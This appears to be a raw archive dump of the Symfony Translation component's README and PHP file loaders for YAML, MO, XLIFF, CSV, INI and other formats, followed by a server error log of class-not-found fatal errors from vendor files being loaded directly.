"en_001", "en_MY": "en_001", "en_NA": "en_001", "en_NF": "en_001", "en_NG": "en_001", "en_NL": "en_150", "en_NR": "en_001", "en_NU": "en_001", "en_NZ": "en_001", "en_PG": "en_001", "en_PK": "en_001", "en_PN": "en_001", "en_PW": "en_001", "en_RW": "en_001", "en_SB": "en_001", "en_SC": "en_001", "en_SD": "en_001", "en_SE": "en_150", "en_SG": "en_001", "en_SH": "en_001", "en_SI": "en_150", "en_SL": "en_001", "en_SS": "en_001", "en_SX": "en_001", "en_SZ": "en_001", "en_TC": "en_001", "en_TK": "en_001", "en_TO": "en_001", "en_TT": "en_001", "en_TV": "en_001", "en_TZ": "en_001", "en_UG": "en_001", "en_VC": "en_001", "en_VG": "en_001", "en_VU": "en_001", "en_WS": "en_001", "en_ZA": "en_001", "en_ZM": "en_001", "en_ZW": "en_001", "es_AR": "es_419", "es_BO": "es_419", "es_BR": "es_419", "es_BZ": "es_419", "es_CL": "es_419", "es_CO": "es_419", "es_CR": "es_419", "es_CU": "es_419", "es_DO": "es_419", "es_EC": "es_419", "es_GT": "es_419", "es_HN": "es_419", "es_MX": "es_419", "es_NI": "es_419", "es_PA": "es_419", "es_PE": "es_419", "es_PR": "es_419", "es_PY": "es_419", "es_SV": "es_419", "es_US": "es_419", "es_UY": "es_419", "es_VE": "es_419", "ff_Adlm": "root", "hi_Latn": "en_IN", "ks_Deva": "root", "nb": "no", "nn": "no", "pa_Arab": "root", "pt_AO": "pt_PT", "pt_CH": "pt_PT", "pt_CV": "pt_PT", "pt_GQ": "pt_PT", "pt_GW": "pt_PT", "pt_LU": "pt_PT", "pt_MO": "pt_PT", "pt_MZ": "pt_PT", "pt_ST": "pt_PT", "pt_TL": "pt_PT", "sd_Deva": "root", "sr_Latn": "root", "uz_Arab": "root", "uz_Cyrl": "root", "zh_Hant": "root", "zh_Hant_MO": "zh_Hant_HK" } translation/README.md000064400000002357151113512120010360 0ustar00Translation Component ===================== The Translation component provides tools to internationalize your application. Getting Started --------------- ``` $ composer require symfony/translation ``` ```php use Symfony\Component\Translation\Translator; use Symfony\Component\Translation\Loader\ArrayLoader; $translator = new Translator('fr_FR'); $translator->addLoader('array', new ArrayLoader()); $translator->addResource('array', [ 'Hello World!' => 'Bonjour !', ], 'fr_FR'); echo $translator->trans('Hello World!'); // outputs « Bonjour ! » ``` Sponsor ------- The Translation component for Symfony 6.3 is [backed][1] by: * [Crowdin][2], a cloud-based localization management software helping teams to go global and stay agile. Help Symfony by [sponsoring][3] its development! Resources --------- * [Documentation](https://symfony.com/doc/current/translation.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) [1]: https://symfony.com/backers [2]: https://crowdin.com [3]: https://symfony.com/sponsor translation/Loader/FileLoader.php000064400000003275151113512120013026 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\MessageCatalogue; /** * @author Abdellatif Ait boudad */ abstract class FileLoader extends ArrayLoader { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { if (!stream_is_local($resource)) { throw new InvalidResourceException(sprintf('This is not a local file "%s".', $resource)); } if (!file_exists($resource)) { throw new NotFoundResourceException(sprintf('File "%s" not found.', $resource)); } $messages = $this->loadResource($resource); // empty resource $messages ??= []; // not an array if (!\is_array($messages)) { throw new InvalidResourceException(sprintf('Unable to load file "%s".', $resource)); } $catalogue = parent::load($messages, $locale, $domain); if (class_exists(FileResource::class)) { $catalogue->addResource(new FileResource($resource)); } return $catalogue; } /** * @throws InvalidResourceException if stream content has an invalid format */ abstract protected function loadResource(string $resource): array; } translation/Loader/YamlFileLoader.php000064400000003114151113512120013641 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\LogicException; use Symfony\Component\Yaml\Exception\ParseException; use Symfony\Component\Yaml\Parser as YamlParser; use Symfony\Component\Yaml\Yaml; /** * YamlFileLoader loads translations from Yaml files. * * @author Fabien Potencier */ class YamlFileLoader extends FileLoader { private $yamlParser; protected function loadResource(string $resource): array { if (null === $this->yamlParser) { if (!class_exists(\Symfony\Component\Yaml\Parser::class)) { throw new LogicException('Loading translations from the YAML format requires the Symfony Yaml component.'); } $this->yamlParser = new YamlParser(); } try { $messages = $this->yamlParser->parseFile($resource, Yaml::PARSE_CONSTANT); } catch (ParseException $e) { throw new InvalidResourceException(sprintf('The file "%s" does not contain valid YAML: ', $resource).$e->getMessage(), 0, $e); } if (null !== $messages && !\is_array($messages)) { throw new InvalidResourceException(sprintf('Unable to load file "%s".', $resource)); } return $messages ?: []; } } translation/Loader/IcuResFileLoader.php000064400000005345151113512120014141 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Config\Resource\DirectoryResource; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\MessageCatalogue; /** * IcuResFileLoader loads translations from a resource bundle. * * @author stealth35 */ class IcuResFileLoader implements LoaderInterface { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { if (!stream_is_local($resource)) { throw new InvalidResourceException(sprintf('This is not a local file "%s".', $resource)); } if (!is_dir($resource)) { throw new NotFoundResourceException(sprintf('File "%s" not found.', $resource)); } try { $rb = new \ResourceBundle($locale, $resource); } catch (\Exception) { $rb = null; } if (!$rb) { throw new InvalidResourceException(sprintf('Cannot load resource "%s".', $resource)); } elseif (intl_is_failure($rb->getErrorCode())) { throw new InvalidResourceException($rb->getErrorMessage(), $rb->getErrorCode()); } $messages = $this->flatten($rb); $catalogue = new MessageCatalogue($locale); $catalogue->add($messages, $domain); if (class_exists(DirectoryResource::class)) { $catalogue->addResource(new DirectoryResource($resource)); } return $catalogue; } /** * Flattens an ResourceBundle. * * The scheme used is: * key { key2 { key3 { "value" } } } * Becomes: * 'key.key2.key3' => 'value' * * This function takes an array by reference and will modify it * * @param \ResourceBundle $rb The ResourceBundle that will be flattened * @param array $messages Used internally for recursive calls * @param string|null $path Current path being parsed, used internally for recursive calls */ protected function flatten(\ResourceBundle $rb, array &$messages = [], string $path = null): array { foreach ($rb as $key => $value) { $nodePath = $path ? $path.'.'.$key : $key; if ($value instanceof \ResourceBundle) { $this->flatten($value, $messages, $nodePath); } else { $messages[$nodePath] = $value; } } return $messages; } } translation/Loader/MoFileLoader.php000064400000010253151113512120013314 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\Exception\InvalidResourceException; /** * @copyright Copyright (c) 2010, Union of RAD http://union-of-rad.org (http://lithify.me/) */ class MoFileLoader extends FileLoader { /** * Magic used for validating the format of an MO file as well as * detecting if the machine used to create that file was little endian. */ public const MO_LITTLE_ENDIAN_MAGIC = 0x950412DE; /** * Magic used for validating the format of an MO file as well as * detecting if the machine used to create that file was big endian. */ public const MO_BIG_ENDIAN_MAGIC = 0xDE120495; /** * The size of the header of an MO file in bytes. */ public const MO_HEADER_SIZE = 28; /** * Parses machine object (MO) format, independent of the machine's endian it * was created on. Both 32bit and 64bit systems are supported. */ protected function loadResource(string $resource): array { $stream = fopen($resource, 'r'); $stat = fstat($stream); if ($stat['size'] < self::MO_HEADER_SIZE) { throw new InvalidResourceException('MO stream content has an invalid format.'); } $magic = unpack('V1', fread($stream, 4)); $magic = hexdec(substr(dechex(current($magic)), -8)); if (self::MO_LITTLE_ENDIAN_MAGIC == $magic) { $isBigEndian = false; } elseif (self::MO_BIG_ENDIAN_MAGIC == $magic) { $isBigEndian = true; } else { throw new InvalidResourceException('MO stream content has an invalid format.'); } // formatRevision $this->readLong($stream, $isBigEndian); $count = $this->readLong($stream, $isBigEndian); $offsetId = $this->readLong($stream, $isBigEndian); $offsetTranslated = $this->readLong($stream, $isBigEndian); // sizeHashes $this->readLong($stream, $isBigEndian); // offsetHashes $this->readLong($stream, $isBigEndian); $messages = []; for ($i = 0; $i < $count; ++$i) { $pluralId = null; $translated = null; fseek($stream, $offsetId + $i * 8); $length = $this->readLong($stream, $isBigEndian); $offset = $this->readLong($stream, $isBigEndian); if ($length < 1) { continue; } fseek($stream, $offset); $singularId = fread($stream, $length); if (str_contains($singularId, "\000")) { [$singularId, $pluralId] = explode("\000", $singularId); } fseek($stream, $offsetTranslated + $i * 8); $length = $this->readLong($stream, $isBigEndian); $offset = $this->readLong($stream, $isBigEndian); if ($length < 1) { continue; } fseek($stream, $offset); $translated = fread($stream, $length); if (str_contains($translated, "\000")) { $translated = explode("\000", $translated); } $ids = ['singular' => $singularId, 'plural' => $pluralId]; $item = compact('ids', 'translated'); if (!empty($item['ids']['singular'])) { $id = $item['ids']['singular']; if (isset($item['ids']['plural'])) { $id .= '|'.$item['ids']['plural']; } $messages[$id] = stripcslashes(implode('|', (array) $item['translated'])); } } fclose($stream); return array_filter($messages); } /** * Reads an unsigned long from stream respecting endianness. * * @param resource $stream */ private function readLong($stream, bool $isBigEndian): int { $result = unpack($isBigEndian ? 'N1' : 'V1', fread($stream, 4)); $result = current($result); return (int) substr($result, -8); } } translation/Loader/PhpFileLoader.php000064400000002025151113512120013466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; /** * PhpFileLoader loads translations from PHP files returning an array of translations. * * @author Fabien Potencier */ class PhpFileLoader extends FileLoader { private static ?array $cache = []; protected function loadResource(string $resource): array { if ([] === self::$cache && \function_exists('opcache_invalidate') && filter_var(\ini_get('opcache.enable'), \FILTER_VALIDATE_BOOL) && (!\in_array(\PHP_SAPI, ['cli', 'phpdbg'], true) || filter_var(\ini_get('opcache.enable_cli'), \FILTER_VALIDATE_BOOL))) { self::$cache = null; } if (null === self::$cache) { return require $resource; } return self::$cache[$resource] ??= require $resource; } } translation/Loader/ArrayLoader.php000064400000002717151113512120013225 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\MessageCatalogue; /** * ArrayLoader loads translations from a PHP array. * * @author Fabien Potencier */ class ArrayLoader implements LoaderInterface { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { $resource = $this->flatten($resource); $catalogue = new MessageCatalogue($locale); $catalogue->add($resource, $domain); return $catalogue; } /** * Flattens an nested array of translations. * * The scheme used is: * 'key' => ['key2' => ['key3' => 'value']] * Becomes: * 'key.key2.key3' => 'value' */ private function flatten(array $messages): array { $result = []; foreach ($messages as $key => $value) { if (\is_array($value)) { foreach ($this->flatten($value) as $k => $v) { if (null !== $v) { $result[$key.'.'.$k] = $v; } } } elseif (null !== $value) { $result[$key] = $value; } } return $result; } } translation/Loader/QtFileLoader.php000064400000005326151113512120013332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\Config\Util\XmlUtils; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\Exception\RuntimeException; use Symfony\Component\Translation\MessageCatalogue; /** * QtFileLoader loads translations from QT Translations XML files. * * @author Benjamin Eberlei */ class QtFileLoader implements LoaderInterface { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { if (!class_exists(XmlUtils::class)) { throw new RuntimeException('Loading translations from the QT format requires the Symfony Config component.'); } if (!stream_is_local($resource)) { throw new InvalidResourceException(sprintf('This is not a local file "%s".', $resource)); } if (!file_exists($resource)) { throw new NotFoundResourceException(sprintf('File "%s" not found.', $resource)); } try { $dom = XmlUtils::loadFile($resource); } catch (\InvalidArgumentException $e) { throw new InvalidResourceException(sprintf('Unable to load "%s".', $resource), $e->getCode(), $e); } $internalErrors = libxml_use_internal_errors(true); libxml_clear_errors(); $xpath = new \DOMXPath($dom); $nodes = $xpath->evaluate('//TS/context/name[text()="'.$domain.'"]'); $catalogue = new MessageCatalogue($locale); if (1 == $nodes->length) { $translations = $nodes->item(0)->nextSibling->parentNode->parentNode->getElementsByTagName('message'); foreach ($translations as $translation) { $translationValue = (string) $translation->getElementsByTagName('translation')->item(0)->nodeValue; if (!empty($translationValue)) { $catalogue->set( (string) $translation->getElementsByTagName('source')->item(0)->nodeValue, $translationValue, $domain ); } } if (class_exists(FileResource::class)) { $catalogue->addResource(new FileResource($resource)); } } libxml_use_internal_errors($internalErrors); return $catalogue; } } translation/Loader/IcuDatFileLoader.php000064400000003444151113512120014116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\MessageCatalogue; /** * IcuResFileLoader loads translations from a resource bundle. * * @author stealth35 */ class IcuDatFileLoader extends IcuResFileLoader { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { if (!stream_is_local($resource.'.dat')) { throw new InvalidResourceException(sprintf('This is not a local file "%s".', $resource)); } if (!file_exists($resource.'.dat')) { throw new NotFoundResourceException(sprintf('File "%s" not found.', $resource)); } try { $rb = new \ResourceBundle($locale, $resource); } catch (\Exception) { $rb = null; } if (!$rb) { throw new InvalidResourceException(sprintf('Cannot load resource "%s".', $resource)); } elseif (intl_is_failure($rb->getErrorCode())) { throw new InvalidResourceException($rb->getErrorMessage(), $rb->getErrorCode()); } $messages = $this->flatten($rb); $catalogue = new MessageCatalogue($locale); $catalogue->add($messages, $domain); if (class_exists(FileResource::class)) { $catalogue->addResource(new FileResource($resource.'.dat')); } return $catalogue; } } translation/Loader/CsvFileLoader.php000064400000003336151113512120013500 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Translation\Exception\NotFoundResourceException; /** * CsvFileLoader loads translations from CSV files. * * @author Saša Stamenković */ class CsvFileLoader extends FileLoader { private string $delimiter = ';'; private string $enclosure = '"'; private string $escape = '\\'; protected function loadResource(string $resource): array { $messages = []; try { $file = new \SplFileObject($resource, 'rb'); } catch (\RuntimeException $e) { throw new NotFoundResourceException(sprintf('Error opening file "%s".', $resource), 0, $e); } $file->setFlags(\SplFileObject::READ_CSV | \SplFileObject::SKIP_EMPTY); $file->setCsvControl($this->delimiter, $this->enclosure, $this->escape); foreach ($file as $data) { if (false === $data) { continue; } if (!str_starts_with($data[0], '#') && isset($data[1]) && 2 === \count($data)) { $messages[$data[0]] = $data[1]; } } return $messages; } /** * Sets the delimiter, enclosure, and escape character for CSV. * * @return void */ public function setCsvControl(string $delimiter = ';', string $enclosure = '"', string $escape = '\\') { $this->delimiter = $delimiter; $this->enclosure = $enclosure; $this->escape = $escape; } } translation/Loader/XliffFileLoader.php000064400000021214151113512130014011 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; use Symfony\Component\Config\Resource\FileResource; use Symfony\Component\Config\Util\Exception\InvalidXmlException; use Symfony\Component\Config\Util\Exception\XmlParsingException; use Symfony\Component\Config\Util\XmlUtils; use Symfony\Component\Translation\Exception\InvalidResourceException; use Symfony\Component\Translation\Exception\NotFoundResourceException; use Symfony\Component\Translation\Exception\RuntimeException; use Symfony\Component\Translation\MessageCatalogue; use Symfony\Component\Translation\Util\XliffUtils; /** * XliffFileLoader loads translations from XLIFF files. * * @author Fabien Potencier */ class XliffFileLoader implements LoaderInterface { public function load(mixed $resource, string $locale, string $domain = 'messages'): MessageCatalogue { if (!class_exists(XmlUtils::class)) { throw new RuntimeException('Loading translations from the Xliff format requires the Symfony Config component.'); } if (!$this->isXmlString($resource)) { if (!stream_is_local($resource)) { throw new InvalidResourceException(sprintf('This is not a local file "%s".', $resource)); } if (!file_exists($resource)) { throw new NotFoundResourceException(sprintf('File "%s" not found.', $resource)); } if (!is_file($resource)) { throw new InvalidResourceException(sprintf('This is neither a file nor an XLIFF string "%s".', $resource)); } } try { if ($this->isXmlString($resource)) { $dom = XmlUtils::parse($resource); } else { $dom = XmlUtils::loadFile($resource); } } catch (\InvalidArgumentException|XmlParsingException|InvalidXmlException $e) { throw new InvalidResourceException(sprintf('Unable to load "%s": ', $resource).$e->getMessage(), $e->getCode(), $e); } if ($errors = XliffUtils::validateSchema($dom)) { throw new InvalidResourceException(sprintf('Invalid resource provided: "%s"; Errors: ', $resource).XliffUtils::getErrorsAsString($errors)); } $catalogue = new MessageCatalogue($locale); $this->extract($dom, $catalogue, $domain); if (is_file($resource) && class_exists(FileResource::class)) { $catalogue->addResource(new FileResource($resource)); } return $catalogue; } private function extract(\DOMDocument $dom, MessageCatalogue $catalogue, string $domain): void { $xliffVersion = XliffUtils::getVersionNumber($dom); if ('1.2' === $xliffVersion) { $this->extractXliff1($dom, $catalogue, $domain); } if ('2.0' === $xliffVersion) { $this->extractXliff2($dom, $catalogue, $domain); } } /** * Extract messages and metadata from DOMDocument into a MessageCatalogue. */ private function extractXliff1(\DOMDocument $dom, MessageCatalogue $catalogue, string $domain): void { $xml = simplexml_import_dom($dom); $encoding = $dom->encoding ? strtoupper($dom->encoding) : null; $namespace = 'urn:oasis:names:tc:xliff:document:1.2'; $xml->registerXPathNamespace('xliff', $namespace); foreach ($xml->xpath('//xliff:file') as $file) { $fileAttributes = $file->attributes(); $file->registerXPathNamespace('xliff', $namespace); foreach ($file->xpath('.//xliff:prop') as $prop) { $catalogue->setCatalogueMetadata($prop->attributes()['prop-type'], (string) $prop, $domain); } foreach ($file->xpath('.//xliff:trans-unit') as $translation) { $attributes = $translation->attributes(); if (!(isset($attributes['resname']) || isset($translation->source))) { continue; } $source = isset($attributes['resname']) && $attributes['resname'] ? $attributes['resname'] : $translation->source; // If the xlf file has another encoding specified, try to convert it because // simple_xml will always return utf-8 encoded values $target = $this->utf8ToCharset((string) ($translation->target ?? $translation->source), $encoding); $catalogue->set((string) $source, $target, $domain); $metadata = [ 'source' => (string) $translation->source, 'file' => [ 'original' => (string) $fileAttributes['original'], ], ]; if ($notes = $this->parseNotesMetadata($translation->note, $encoding)) { $metadata['notes'] = $notes; } if (isset($translation->target) && $translation->target->attributes()) { $metadata['target-attributes'] = []; foreach ($translation->target->attributes() as $key => $value) { $metadata['target-attributes'][$key] = (string) $value; } } if (isset($attributes['id'])) { $metadata['id'] = (string) $attributes['id']; } $catalogue->setMetadata((string) $source, $metadata, $domain); } } } private function extractXliff2(\DOMDocument $dom, MessageCatalogue $catalogue, string $domain): void { $xml = simplexml_import_dom($dom); $encoding = $dom->encoding ? strtoupper($dom->encoding) : null; $xml->registerXPathNamespace('xliff', 'urn:oasis:names:tc:xliff:document:2.0'); foreach ($xml->xpath('//xliff:unit') as $unit) { foreach ($unit->segment as $segment) { $attributes = $unit->attributes(); $source = $attributes['name'] ?? $segment->source; // If the xlf file has another encoding specified, try to convert it because // simple_xml will always return utf-8 encoded values $target = $this->utf8ToCharset((string) ($segment->target ?? $segment->source), $encoding); $catalogue->set((string) $source, $target, $domain); $metadata = []; if (isset($segment->target) && $segment->target->attributes()) { $metadata['target-attributes'] = []; foreach ($segment->target->attributes() as $key => $value) { $metadata['target-attributes'][$key] = (string) $value; } } if (isset($unit->notes)) { $metadata['notes'] = []; foreach ($unit->notes->note as $noteNode) { $note = []; foreach ($noteNode->attributes() as $key => $value) { $note[$key] = (string) $value; } $note['content'] = (string) $noteNode; $metadata['notes'][] = $note; } } $catalogue->setMetadata((string) $source, $metadata, $domain); } } } /** * Convert a UTF8 string to the specified encoding. */ private function utf8ToCharset(string $content, string $encoding = null): string { if ('UTF-8' !== $encoding && !empty($encoding)) { return mb_convert_encoding($content, $encoding, 'UTF-8'); } return $content; } private function parseNotesMetadata(\SimpleXMLElement $noteElement = null, string $encoding = null): array { $notes = []; if (null === $noteElement) { return $notes; } /** @var \SimpleXMLElement $xmlNote */ foreach ($noteElement as $xmlNote) { $noteAttributes = $xmlNote->attributes(); $note = ['content' => $this->utf8ToCharset((string) $xmlNote, $encoding)]; if (isset($noteAttributes['priority'])) { $note['priority'] = (int) $noteAttributes['priority']; } if (isset($noteAttributes['from'])) { $note['from'] = (string) $noteAttributes['from']; } $notes[] = $note; } return $notes; } private function isXmlString(string $resource): bool { return str_starts_with($resource, ' * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Loader; /** * IniFileLoader loads translations from an ini file. * * @author stealth35 */ class IniFileLoader extends FileLoader { protected function loadResource(string $resource): array { return parse_ini_file($resource, true); } } translation/Loader/error_log000064400000023414151113512130012222 0ustar00[20-Nov-2025 04:02:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/JsonFileLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/JsonFileLoader.php on line 21 [20-Nov-2025 04:10:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\IcuResFileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuDatFileLoader.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuDatFileLoader.php on line 24 [20-Nov-2025 04:14:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php on line 29 [20-Nov-2025 04:17:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuResFileLoader.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuResFileLoader.php on line 24 [20-Nov-2025 06:08:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/MoFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/MoFileLoader.php on line 19 [20-Nov-2025 06:10:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php on line 21 [20-Nov-2025 07:27:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php on line 29 [20-Nov-2025 07:37:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IniFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IniFileLoader.php on line 19 [20-Nov-2025 07:38:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/CsvFileLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/CsvFileLoader.php on line 21 [20-Nov-2025 07:43:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/YamlFileLoader.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/YamlFileLoader.php on line 25 [20-Nov-2025 07:45:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PhpFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PhpFileLoader.php on line 19 [20-Nov-2025 10:52:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/ArrayLoader.php on line 21 [20-Nov-2025 12:27:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\ArrayLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/FileLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/FileLoader.php on line 22 [20-Nov-2025 15:26:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/QtFileLoader.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/QtFileLoader.php on line 26 [20-Nov-2025 15:30:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PoFileLoader.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PoFileLoader.php on line 18 [20-Nov-2025 15:43:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\ArrayLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/FileLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/FileLoader.php on line 22 [25-Nov-2025 02:31:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/XliffFileLoader.php on line 29 [25-Nov-2025 02:32:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuResFileLoader.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuResFileLoader.php on line 24 [25-Nov-2025 02:33:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Loader\LoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/QtFileLoader.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/QtFileLoader.php on line 26 [25-Nov-2025 02:56:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/CsvFileLoader.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/CsvFileLoader.php on line 21 [25-Nov-2025 02:56:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IniFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IniFileLoader.php on line 19 [25-Nov-2025 03:03:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PoFileLoader.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PoFileLoader.php on line 18 [25-Nov-2025 03:04:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PhpFileLoader.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/PhpFileLoader.php on line 19 [25-Nov-2025 03:28:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\IcuResFileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuDatFileLoader.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/IcuDatFileLoader.php on line 24 [25-Nov-2025 04:29:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Loader\FileLoader" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Loader/JsonFileLoader.php:21 Stack trace: #0 {main} thrown in 